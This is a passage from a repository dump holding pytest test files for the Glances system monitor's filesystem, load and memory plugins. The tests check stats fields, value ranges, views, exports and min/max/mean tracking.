generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, fs_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        fs_plugin.update()\n        msg = fs_plugin.msg_curse(max_width=80)\n        assert isinstance(msg, list)\n\n    def test_msg_curse_empty_without_max_width(self, fs_plugin):\n        \"\"\"Test that msg_curse returns empty without max_width.\"\"\"\n        fs_plugin.update()\n        msg = fs_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_with_max_width(self, fs_plugin):\n        \"\"\"Test that msg_curse works with max_width.\"\"\"\n        fs_plugin.update()\n        msg = fs_plugin.msg_curse(max_width=80)\n        assert isinstance(msg, list)\n\n\nclass TestFsPluginExport:\n    \"\"\"Test FileSystem plugin export functionality.\"\"\"\n\n    def test_get_export_returns_list(self, fs_plugin):\n        \"\"\"Test that get_export returns a list.\"\"\"\n        fs_plugin.update()\n        export = fs_plugin.get_export()\n        assert isinstance(export, list)\n\n    def test_export_equals_raw(self, fs_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        fs_plugin.update()\n        assert fs_plugin.get_export() == fs_plugin.get_raw()\n\n\nclass TestFsPluginAlias:\n    \"\"\"Test FileSystem plugin alias functionality.\"\"\"\n\n    def test_alias_field_may_be_present(self, fs_plugin):\n        \"\"\"Test that alias field may be present for filesystems.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if 'alias' in fs:\n                assert fs['alias'] is None or isinstance(fs['alias'], str)\n\n\nclass TestFsPluginDiskPartitions:\n    \"\"\"Test FileSystem plugin disk partitions method.\"\"\"\n\n    def test_get_disk_partitions_returns_list(self, fs_plugin):\n        \"\"\"Test that get_disk_partitions returns a list-like object.\"\"\"\n        partitions = fs_plugin.get_disk_partitions()\n        assert hasattr(partitions, '__iter__')\n\n    def test_get_disk_partitions_fetch_all(self, fs_plugin):\n        \"\"\"Test get_disk_partitions with fetch_all=True.\"\"\"\n        partitions = fs_plugin.get_disk_partitions(fetch_all=True)\n        assert hasattr(partitions, '__iter__')\n\n    def test_physical_partitions_subset_of_all(self, fs_plugin):\n        \"\"\"Test that physical partitions are a subset of all partitions.\"\"\"\n        physical = {p.mountpoint for p in fs_plugin.get_disk_partitions(fetch_all=False)}\n        all_partitions = {p.mountpoint for p in fs_plugin.get_disk_partitions(fetch_all=True)}\n        assert physical.issubset(all_partitions)\n\n\nclass TestFsPluginReadOnlyHandling:\n    \"\"\"Test FileSystem plugin read-only mount handling.\"\"\"\n\n    def test_views_skip_ro_mounts_for_threshold(self, fs_plugin):\n        \"\"\"Test that views handle read-only mounts appropriately.\"\"\"\n        fs_plugin.update()\n        fs_plugin.update_views()\n        stats = fs_plugin.get_raw()\n        fs_plugin.get_views()\n\n        # Read-only mounts should still have views, but decoration handling differs\n        for fs in stats:\n            if 'ro' in fs.get('options', '').split(','):\n                # The mount point should still be in views\n                # (decoration logic is handled differently for ro mounts)\n                pass\n\n\nclass TestFsPluginConfiguration:\n    \"\"\"Test FileSystem plugin configuration.\"\"\"\n\n    def test_can_get_conf_value(self, fs_plugin):\n        \"\"\"Test that configuration values can be retrieved.\"\"\"\n        # 'allow' is a valid config option for fs plugin\n        allowed = fs_plugin.get_conf_value('allow')\n        assert isinstance(allowed, list)\n"
  },
  {
    "path": "tests/test_plugin_load.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the Load plugin.\"\"\"\n\nimport json\n\nimport pytest\n\nfrom glances.globals import WINDOWS\nfrom glances.plugins.load import load_average, log_core, phys_core\n\n\n@pytest.fixture\ndef load_plugin(glances_stats):\n    \"\"\"Return the Load plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('load')\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginBasics:\n    \"\"\"Test basic Load plugin functionality.\"\"\"\n\n    def test_plugin_name(self, load_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert load_plugin.plugin_name == 'load'\n\n    def test_plugin_is_enabled(self, load_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert load_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, load_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert load_plugin.display_curse is True\n\n    def test_history_items_defined(self, load_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = load_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'min1' in item_names\n        assert 'min5' in item_names\n        assert 'min15' in item_names\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginUpdate:\n    \"\"\"Test Load plugin update functionality.\"\"\"\n\n    def test_update_returns_dict(self, load_plugin):\n        \"\"\"Test that update returns a dictionary.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        assert isinstance(stats, dict)\n\n    def test_update_contains_mandatory_keys(self, load_plugin):\n        \"\"\"Test that stats contain mandatory keys.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        mandatory_keys = ['min1', 'min5', 'min15', 'cpucore']\n        for key in mandatory_keys:\n            assert key in stats, f\"Missing mandatory key: {key}\"\n\n    def test_load_values_non_negative(self, load_plugin):\n        \"\"\"Test that load values are non-negative.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        for key in ['min1', 'min5', 'min15']:\n            if key in stats and stats[key] is not None:\n                assert stats[key] >= 0, f\"{key} should be non-negative\"\n\n    def test_cpucore_positive(self, load_plugin):\n        \"\"\"Test that CPU core count is positive.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        assert 'cpucore' in stats\n        assert stats['cpucore'] >= 1\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginViews:\n    \"\"\"Test Load plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, load_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        load_plugin.update()\n        load_plugin.update_views()\n        views = load_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_contain_min15_decoration(self, load_plugin):\n        \"\"\"Test that views contain decoration for min15.\"\"\"\n        load_plugin.update()\n        load_plugin.update_views()\n        views = load_plugin.get_views()\n        if views:  # Views might be empty if no stats\n            assert 'min15' in views\n            assert 'decoration' in views['min15']\n\n    def test_views_contain_min5_decoration(self, load_plugin):\n        \"\"\"Test that views contain decoration for min5.\"\"\"\n        load_plugin.update()\n        load_plugin.update_views()\n        views = load_plugin.get_views()\n        if views:\n            assert 'min5' in views\n            assert 'decoration' in views['min5']\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginJSON:\n    \"\"\"Test Load plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, load_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        load_plugin.update()\n        stats_json = load_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, dict)\n\n    def test_json_contains_expected_fields(self, load_plugin):\n        \"\"\"Test that JSON output contains expected fields.\"\"\"\n        load_plugin.update()\n        stats_json = load_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        expected_fields = ['min1', 'min5', 'min15', 'cpucore']\n        for field in expected_fields:\n            assert field in parsed\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginHistory:\n    \"\"\"Test Load plugin history functionality.\"\"\"\n\n    def test_history_enable_check(self, load_plugin):\n        \"\"\"Test that history_enable returns a boolean.\"\"\"\n        result = load_plugin.history_enable()\n        assert isinstance(result, bool)\n\n    def test_get_items_history_list(self, load_plugin):\n        \"\"\"Test that get_items_history_list returns the history items.\"\"\"\n        items = load_plugin.get_items_history_list()\n        if items is not None:\n            assert isinstance(items, list)\n            item_names = [item['name'] for item in items]\n            assert 'min1' in item_names\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginReset:\n    \"\"\"Test Load plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, load_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        load_plugin.update()\n        load_plugin.reset()\n        stats = load_plugin.get_raw()\n        assert stats == load_plugin.get_init_value()\n\n    def test_reset_views(self, load_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        load_plugin.update()\n        load_plugin.update_views()\n        load_plugin.reset_views()\n        assert load_plugin.get_views() == {}\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginFieldsDescription:\n    \"\"\"Test Load plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, load_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert load_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, load_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['min1', 'min5', 'min15', 'cpucore']\n        for field in mandatory_fields:\n            assert field in load_plugin.fields_description\n\n    def test_field_has_description(self, load_plugin):\n        \"\"\"Test that each field has a description.\"\"\"\n        for field, info in load_plugin.fields_description.items():\n            assert 'description' in info, f\"Field {field} missing description\"\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginMsgCurse:\n    \"\"\"Test Load plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, load_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        load_plugin.update()\n        msg = load_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_format(self, load_plugin):\n        \"\"\"Test that msg_curse returns properly formatted entries.\"\"\"\n        load_plugin.update()\n        msg = load_plugin.msg_curse()\n        if msg:\n            for entry in msg:\n                assert isinstance(entry, dict)\n                assert 'msg' in entry\n\n    def test_msg_curse_structure(self, load_plugin):\n        \"\"\"Test msg_curse output structure when stats available.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        if stats and not load_plugin.is_disabled():\n            msg = load_plugin.msg_curse()\n            if msg:\n                assert len(msg) > 0\n\n\nclass TestLoadHelperFunctions:\n    \"\"\"Test Load plugin helper functions.\"\"\"\n\n    def test_log_core_returns_int(self):\n        \"\"\"Test that log_core returns an integer.\"\"\"\n        cores = log_core()\n        assert isinstance(cores, int)\n        assert cores >= 1\n\n    def test_phys_core_returns_int(self):\n        \"\"\"Test that phys_core returns an integer.\"\"\"\n        cores = phys_core()\n        assert isinstance(cores, int)\n        assert cores >= 1\n\n    @pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\n    def test_load_average_returns_tuple(self):\n        \"\"\"Test that load_average returns a tuple.\"\"\"\n        load = load_average()\n        if load is not None:\n            assert isinstance(load, tuple)\n            assert len(load) == 3\n\n    @pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\n    def test_load_average_values_non_negative(self):\n        \"\"\"Test that load_average values are non-negative.\"\"\"\n        load = load_average()\n        if load is not None:\n            for value in load:\n                assert value >= 0\n\n    @pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\n    def test_load_average_percent_mode(self):\n        \"\"\"Test load_average in percent mode.\"\"\"\n        load = load_average(percent=True)\n        if load is not None:\n            assert isinstance(load, tuple)\n            assert len(load) == 3\n            # Values can exceed 100% if load is high\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginAlerts:\n    \"\"\"Test Load plugin alert functionality.\"\"\"\n\n    def test_alert_based_on_cpucore(self, load_plugin):\n        \"\"\"Test that alerts are calculated based on CPU cores.\"\"\"\n        load_plugin.update()\n        stats = load_plugin.get_raw()\n        if 'cpucore' in stats and 'min15' in stats:\n            # Maximum is 100 * cpucore\n            alert = load_plugin.get_alert_log(stats['min15'], maximum=100 * stats['cpucore'])\n            assert alert is not None\n\n\n@pytest.mark.skipif(WINDOWS, reason=\"Load average not available on Windows\")\nclass TestLoadPluginExport:\n    \"\"\"Test Load plugin export functionality.\"\"\"\n\n    def test_get_export_returns_dict(self, load_plugin):\n        \"\"\"Test that get_export returns a dict.\"\"\"\n        load_plugin.update()\n        export = load_plugin.get_export()\n        assert isinstance(export, dict)\n\n    def test_export_equals_raw(self, load_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        load_plugin.update()\n        assert load_plugin.get_export() == load_plugin.get_raw()\n\n    def test_export_contains_load_values_when_available(self, load_plugin):\n        \"\"\"Test that export contains load values when available.\"\"\"\n        load_plugin.update()\n        export = load_plugin.get_export()\n        if export:\n            assert 'min1' in export\n            assert 'min5' in export\n            assert 'min15' in export\n"
  },
  {
    "path": "tests/test_plugin_mem.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the Memory plugin.\"\"\"\n\nimport json\n\nimport pytest\n\n\n@pytest.fixture\ndef mem_plugin(glances_stats):\n    \"\"\"Return the Memory plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('mem')\n\n\nclass TestMemPluginBasics:\n    \"\"\"Test basic Memory plugin functionality.\"\"\"\n\n    def test_plugin_name(self, mem_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert mem_plugin.plugin_name == 'mem'\n\n    def test_plugin_is_enabled(self, mem_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert mem_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, mem_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert mem_plugin.display_curse is True\n\n    def test_history_items_defined(self, mem_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = mem_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'percent' in item_names\n\n\nclass TestMemPluginUpdate:\n    \"\"\"Test Memory plugin update functionality.\"\"\"\n\n    def test_update_returns_dict(self, mem_plugin):\n        \"\"\"Test that update returns a dictionary.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        assert isinstance(stats, dict)\n\n    def test_update_contains_mandatory_keys(self, mem_plugin):\n        \"\"\"Test that stats contain mandatory keys.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        mandatory_keys = ['total', 'available', 'used', 'free', 'percent']\n        for key in mandatory_keys:\n            assert key in stats, f\"Missing mandatory key: {key}\"\n\n    def test_memory_values_positive(self, mem_plugin):\n        \"\"\"Test that memory values are positive.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        for key in ['total', 'available', 'used', 'free']:\n            if key in stats and stats[key] is not None:\n                assert stats[key] >= 0, f\"{key} should be non-negative\"\n\n    def test_memory_percent_in_valid_range(self, mem_plugin):\n        \"\"\"Test that memory percentage is within valid range.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        assert 'percent' in stats\n        assert 0 <= stats['percent'] <= 100\n\n    def test_used_plus_free_less_than_total(self, mem_plugin):\n        \"\"\"Test that used + available approximately equals total.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        if all(key in stats for key in ['used', 'available', 'total']):\n            # Allow for some rounding/calculation variance\n            calculated = stats['used'] + stats['available']\n            # Should be close to total (within 10% due to different calculation methods)\n            assert abs(calculated - stats['total']) / stats['total'] < 0.1\n\n    def test_total_memory_reasonable(self, mem_plugin):\n        \"\"\"Test that total memory is a reasonable value (> 100MB).\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        min_memory = 100 * 1024 * 1024  # 100 MB\n        assert stats['total'] > min_memory\n\n\nclass TestMemPluginOptionalFields:\n    \"\"\"Test Memory plugin optional fields.\"\"\"\n\n    def test_active_inactive_memory(self, mem_plugin):\n        \"\"\"Test active/inactive memory fields if available.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        # These are platform-specific, so just check they're valid if present\n        if 'active' in stats and stats['active'] is not None:\n            assert stats['active'] >= 0\n        if 'inactive' in stats and stats['inactive'] is not None:\n            assert stats['inactive'] >= 0\n\n    def test_buffers_cached_memory(self, mem_plugin):\n        \"\"\"Test buffers/cached memory fields if available.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        if 'buffers' in stats and stats['buffers'] is not None:\n            assert stats['buffers'] >= 0\n        if 'cached' in stats and stats['cached'] is not None:\n            assert stats['cached'] >= 0\n\n\nclass TestMemPluginViews:\n    \"\"\"Test Memory plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, mem_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        mem_plugin.update()\n        mem_plugin.update_views()\n        views = mem_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_contain_percent_decoration(self, mem_plugin):\n        \"\"\"Test that views contain decoration for percent.\"\"\"\n        mem_plugin.update()\n        mem_plugin.update_views()\n        views = mem_plugin.get_views()\n        if views:\n            assert 'percent' in views\n            assert 'decoration' in views['percent']\n\n\nclass TestMemPluginJSON:\n    \"\"\"Test Memory plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, mem_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        mem_plugin.update()\n        stats_json = mem_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, dict)\n\n    def test_json_contains_expected_fields(self, mem_plugin):\n        \"\"\"Test that JSON output contains expected fields.\"\"\"\n        mem_plugin.update()\n        stats_json = mem_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        expected_fields = ['total', 'used', 'free', 'percent']\n        for field in expected_fields:\n            assert field in parsed\n\n\nclass TestMemPluginHistory:\n    \"\"\"Test Memory plugin history functionality.\"\"\"\n\n    def test_history_enable_check(self, mem_plugin):\n        \"\"\"Test that history_enable returns a boolean.\"\"\"\n        result = mem_plugin.history_enable()\n        assert isinstance(result, bool)\n\n    def test_get_items_history_list(self, mem_plugin):\n        \"\"\"Test that get_items_history_list returns the history items.\"\"\"\n        items = mem_plugin.get_items_history_list()\n        if items is not None:\n            assert isinstance(items, list)\n            item_names = [item['name'] for item in items]\n            assert 'percent' in item_names\n\n\nclass TestMemPluginReset:\n    \"\"\"Test Memory plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, mem_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        mem_plugin.update()\n        mem_plugin.reset()\n        stats = mem_plugin.get_raw()\n        assert stats == mem_plugin.get_init_value()\n\n    def test_reset_views(self, mem_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        mem_plugin.update()\n        mem_plugin.update_views()\n        mem_plugin.reset_views()\n        assert mem_plugin.get_views() == {}\n\n\nclass TestMemPluginFieldsDescription:\n    \"\"\"Test Memory plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, mem_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert mem_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, mem_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['total', 'available', 'percent', 'used', 'free']\n        for field in mandatory_fields:\n            assert field in mem_plugin.fields_description\n\n    def test_field_has_description(self, mem_plugin):\n        \"\"\"Test that each field has a description.\"\"\"\n        for field, info in mem_plugin.fields_description.items():\n            assert 'description' in info, f\"Field {field} missing description\"\n\n    def test_field_has_unit(self, mem_plugin):\n        \"\"\"Test that byte fields have unit defined.\"\"\"\n        byte_fields = ['total', 'available', 'used', 'free']\n        for field in byte_fields:\n            if field in mem_plugin.fields_description:\n                assert 'unit' in mem_plugin.fields_description[field]\n\n\nclass TestMemPluginAlerts:\n    \"\"\"Test Memory plugin alert functionality.\"\"\"\n\n    def test_get_alert_log_returns_valid_status(self, mem_plugin):\n        \"\"\"Test that get_alert_log returns a valid status.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        if 'used' in stats and 'total' in stats:\n            alert = mem_plugin.get_alert_log(stats['used'], maximum=stats['total'])\n            valid_statuses = [\n                'OK',\n                'OK_LOG',\n                'CAREFUL',\n                'CAREFUL_LOG',\n                'WARNING',\n                'WARNING_LOG',\n                'CRITICAL',\n                'CRITICAL_LOG',\n                'DEFAULT',\n                'MAX',\n            ]\n            assert any(alert.startswith(status) for status in valid_statuses)\n\n\nclass TestMemPluginMsgCurse:\n    \"\"\"Test Memory plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, mem_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        mem_plugin.update()\n        msg = mem_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_format(self, mem_plugin):\n        \"\"\"Test that msg_curse returns properly formatted entries.\"\"\"\n        mem_plugin.update()\n        msg = mem_plugin.msg_curse()\n        if msg:\n            for entry in msg:\n                assert isinstance(entry, dict)\n                assert 'msg' in entry\n\n    def test_msg_curse_structure(self, mem_plugin):\n        \"\"\"Test msg_curse output structure when stats available.\"\"\"\n        mem_plugin.update()\n        stats = mem_plugin.get_raw()\n        if stats and not mem_plugin.is_disabled():\n            msg = mem_plugin.msg_curse()\n            if msg:\n                messages = [m.get('msg', '') for m in msg]\n                # Should contain MEM when properly configured\n                assert len(messages) > 0\n\n\nclass TestMemPluginZFS:\n    \"\"\"Test Memory plugin ZFS integration.\"\"\"\n\n    def test_zfs_enabled_attribute(self, mem_plugin):\n        \"\"\"Test that zfs_enabled attribute exists.\"\"\"\n        assert hasattr(mem_plugin, 'zfs_enabled')\n\n    def test_available_config_option(self, mem_plugin):\n        \"\"\"Test that available config option exists.\"\"\"\n        assert hasattr(mem_plugin, 'available')\n\n\nclass TestMemPluginExport:\n    \"\"\"Test Memory plugin export functionality.\"\"\"\n\n    def test_get_export_returns_dict(self, mem_plugin):\n        \"\"\"Test that get_export returns a dict.\"\"\"\n        mem_plugin.update()\n        export = mem_plugin.get_export()\n        assert isinstance(export, dict)\n\n    def test_export_equals_raw(self, mem_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        mem_plugin.update()\n        assert mem_plugin.get_export() == mem_plugin.get_raw()\n\n    def test_export_contains_stats_when_available(self, mem_plugin):\n        \"\"\"Test that export contains expected keys when stats are available.\"\"\"\n        mem_plugin.update()\n        export = mem_plugin.get_export()\n        if export:  # If there are stats\n            assert 'total' in export\n\n\nclass TestMemPluginMMM:\n    \"\"\"Test Memory plugin MMM (Min/Max/Mean) feature.\n\n    The MMM feature automatically tracks minimum, maximum, and mean values\n    for fields marked with 'mmm': True in fields_description.\n    \"\"\"\n\n    @staticmethod\n    def _force_update(plugin):\n        \"\"\"Force a real update() by expiring the refresh timer.\n\n        The session-scoped glances_stats fixture means the plugin instance is\n        shared across tests and, because update() is throttled by a refresh\n        timer (default 2s), back-to-back calls can be no-ops. Expiring the\n        timer ensures update() really runs so the min/max/mean trackers are fed.\n        \"\"\"\n        from glances.timer import Timer\n\n        plugin.refresh_timer = Timer(0)\n        plugin.update()\n\n    def test_percent_field_has_mmm_flag(self, mem_plugin):\n        \"\"\"Test that percent field is marked with mmm=True.\"\"\"\n        assert 'percent' in mem_plugin.fields_description\n        assert mem_plugin.fields_description['percent'].get('mmm', False) is True\n\n    def test_mmm_fields_initialized(self, mem_plugin):\n        \"\"\"Test that _mmm_fields is initialized for tracking.\"\"\"\n        assert hasattr(mem_plugin, '_mmm_fields')\n        assert isinstance(mem_plugin._mmm_fields, dict)\n        # percent field should be in mmm_fields\n        assert 'percent' in mem_plugin._mmm_fields\n\n    def test_mmm_field_structure(self, mem_plugin):\n        \"\"\"Test that mmm field tracking structure is correct.\"\"\"\n        assert 'percent' in mem_plugin._mmm_fields\n        mmm_info = mem_plugin._mmm_fields['percent']\n        assert 'values' in mmm_info\n        assert 'min' in mmm_info\n        assert 'max' in mmm_info\n        assert 'unit' in mmm_info\n        assert mmm_info['unit'] == 'percent'\n\n    def test_percent_min_max_mean_generated_descriptions(self, mem_plugin):\n        \"\"\"Test that min/max/mean field descriptions are auto-generated.\"\"\"\n        assert 'percent_min' in mem_plugin.fields_description\n        assert 'percent_max' in mem_plugin.fields_description\n        assert 'percent_mean' in mem_plugin.fields_description\n\n        # Check descriptions exist\n        assert 'description' in mem_plugin.fields_description['percent_min']\n        assert 'description' in mem_plugin.fields_description['percent_max']\n        assert 'description' in mem_plugin.fields_description['percent_mean']\n\n        # Check units match\n        assert mem_plugin.fields_description['percent_min']['unit'] == 'percent'\n        assert mem_plugin.fields_description['percent_max']['unit'] == 'percent'\n        assert mem_plugin.fields_description['percent_mean']['unit'] == 'percent'\n\n    def test_percent_min_max_mean_in_stats_after_update(self, mem_plugin):\n        \"\"\"Test that percent_min, percent_max, and percent_mean appear in stats after update.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        assert 'percent' in stats\n        assert 'percent_min' in stats, \"percent_min missing from stats\"\n        assert 'percent_max' in stats, \"percent_max missing from stats\"\n        assert 'percent_mean' in stats, \"percent_mean missing from stats\"\n\n    def test_percent_min_max_mean_are_numeric(self, mem_plugin):\n        \"\"\"Test that percent_min, percent_max, and percent_mean are numeric.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        assert isinstance(stats['percent_min'], (int, float))\n        assert isinstance(stats['percent_max'], (int, float))\n        assert isinstance(stats['percent_mean'], (int, float))\n\n    def test_percent_min_max_mean_in_valid_range(self, mem_plugin):\n        \"\"\"Test that percent_min, percent_max, and percent_mean are between 0-100.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        assert 0 <= stats['percent_min'] <= 100\n        assert 0 <= stats['percent_max'] <= 100\n        assert 0 <= stats['percent_mean'] <= 100\n\n    def test_min_less_than_or_equal_max(self, mem_plugin):\n        \"\"\"Test that percent_min <= percent_max.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        assert stats['percent_min'] <= stats['percent_max']\n\n    def test_mean_between_min_and_max(self, mem_plugin):\n        \"\"\"Test that percent_mean falls between percent_min and percent_max.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        assert stats['percent_min'] <= stats['percent_mean'] <= stats['percent_max']\n\n    def test_current_percent_within_bounds(self, mem_plugin):\n        \"\"\"Test that current percent falls between min and max.\"\"\"\n        self._force_update(mem_plugin)\n        stats = mem_plugin.get_raw()\n        # After multiple updates, current should fall within observed bounds\n        assert stats['percent_min'] <= stats['percent'] <= stats['percent_max']\n\n    def test_mmm_fields_in_api_output(self, mem_plugin):\n        \"\"\"Test that MMM fields are exposed via get_api().\"\"\"\n        self._force_update(mem_plugin)\n        api_data = mem_plugin.get_api()\n        assert 'percent_min' in api_data\n        assert 'percent_max' in api_data\n        assert 'percent_mean' in api_data\n\n    def test_mmm_fields_in_json_output(self, mem_plugin):\n        \"\"\"Test that MMM fields are in JSON output.\"\"\"\n        self._force_update(mem_plugin)\n        stats_json = mem_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert 'percent_min' in parsed\n        assert 'percent_max' in parsed\n        assert 'percent_mean' in parsed\n\n    def test_mmm_fields_in_export_output(self, mem_plugin):\n        \"\"\"Test that MMM fields are in export output.\"\"\"\n        self._force_update(mem_plugin)\n        export = mem_plugin.get_export()\n        assert 'percent_min' in export\n        assert 'percent_max' in export\n        assert 'percent_mean' in export\n\n    def test_mmm_history_accumulation(self, mem_plugin):\n        \"\"\"Test that MMM tracking accumulates history correctly.\"\"\"\n        # Force multiple updates to build history\n        from glances.timer import Timer\n\n        for _ in range(3):\n            mem_plugin.refresh_timer = Timer(0)\n            mem_plugin.update()\n\n        # Check that history has accumulated\n        mmm_info = mem_plugin._mmm_fields['percent']\n        # After 3 updates, we should have at least 3 values in history\n        assert len(mmm_info['values']) >= 1\n\n    def test_mmm_min_max_monotonic(self, mem_plugin):\n        \"\"\"Test that min only decreases (or stays) and max only increases (or stays).\"\"\"\n        from glances.timer import Timer\n\n        prev_min = None\n        prev_max = None\n\n        for _ in range(3):\n            mem_plugin.refresh_timer = Timer(0)\n            mem_plugin.update()\n            stats = mem_plugin.get_raw()\n\n            if prev_min is not None:\n                # min should never increase, max should never decrease\n                assert stats['percent_min'] <= prev_min or prev_min is None\n                assert stats['percent_max'] >= prev_max or prev_max is None\n\n            prev_min = stats['percent_min']\n            prev_max = stats['percent_max']\n\n    def test_mmm_history_limit(self, mem_plugin):\n        \"\"\"Test that MMM history respects the size limit.\"\"\"\n        mmm_info = mem_plugin._mmm_fields['percent']\n\n        # The limit should be set to a reasonable value (28800 by default)\n        max_history_size = 28800\n\n        # After a single update, history should be small\n        from glances.timer import Timer\n\n        mem_plugin.refresh_timer = Timer(0)\n        mem_plugin.update()\n\n        # History should not exceed the limit\n        assert len(mmm_info['values']) <= max_history_size\n\n    def test_mmm_fields_with_multiple_updates(self, mem_plugin):\n        \"\"\"Test MMM tracking across multiple updates.\"\"\"\n        from glances.timer import Timer\n\n        # Perform multiple updates\n        for i in range(5):\n            mem_plugin.refresh_timer = Timer(0)\n            mem_plugin.update()\n\n        stats = mem_plugin.get_raw()\n\n        # All MMM fields should be present\n        assert 'percent_min' in stats\n        assert 'percent_max' in stats\n        assert 'percent_mean' in stats\n\n        # Values should be relative to each other\n        assert 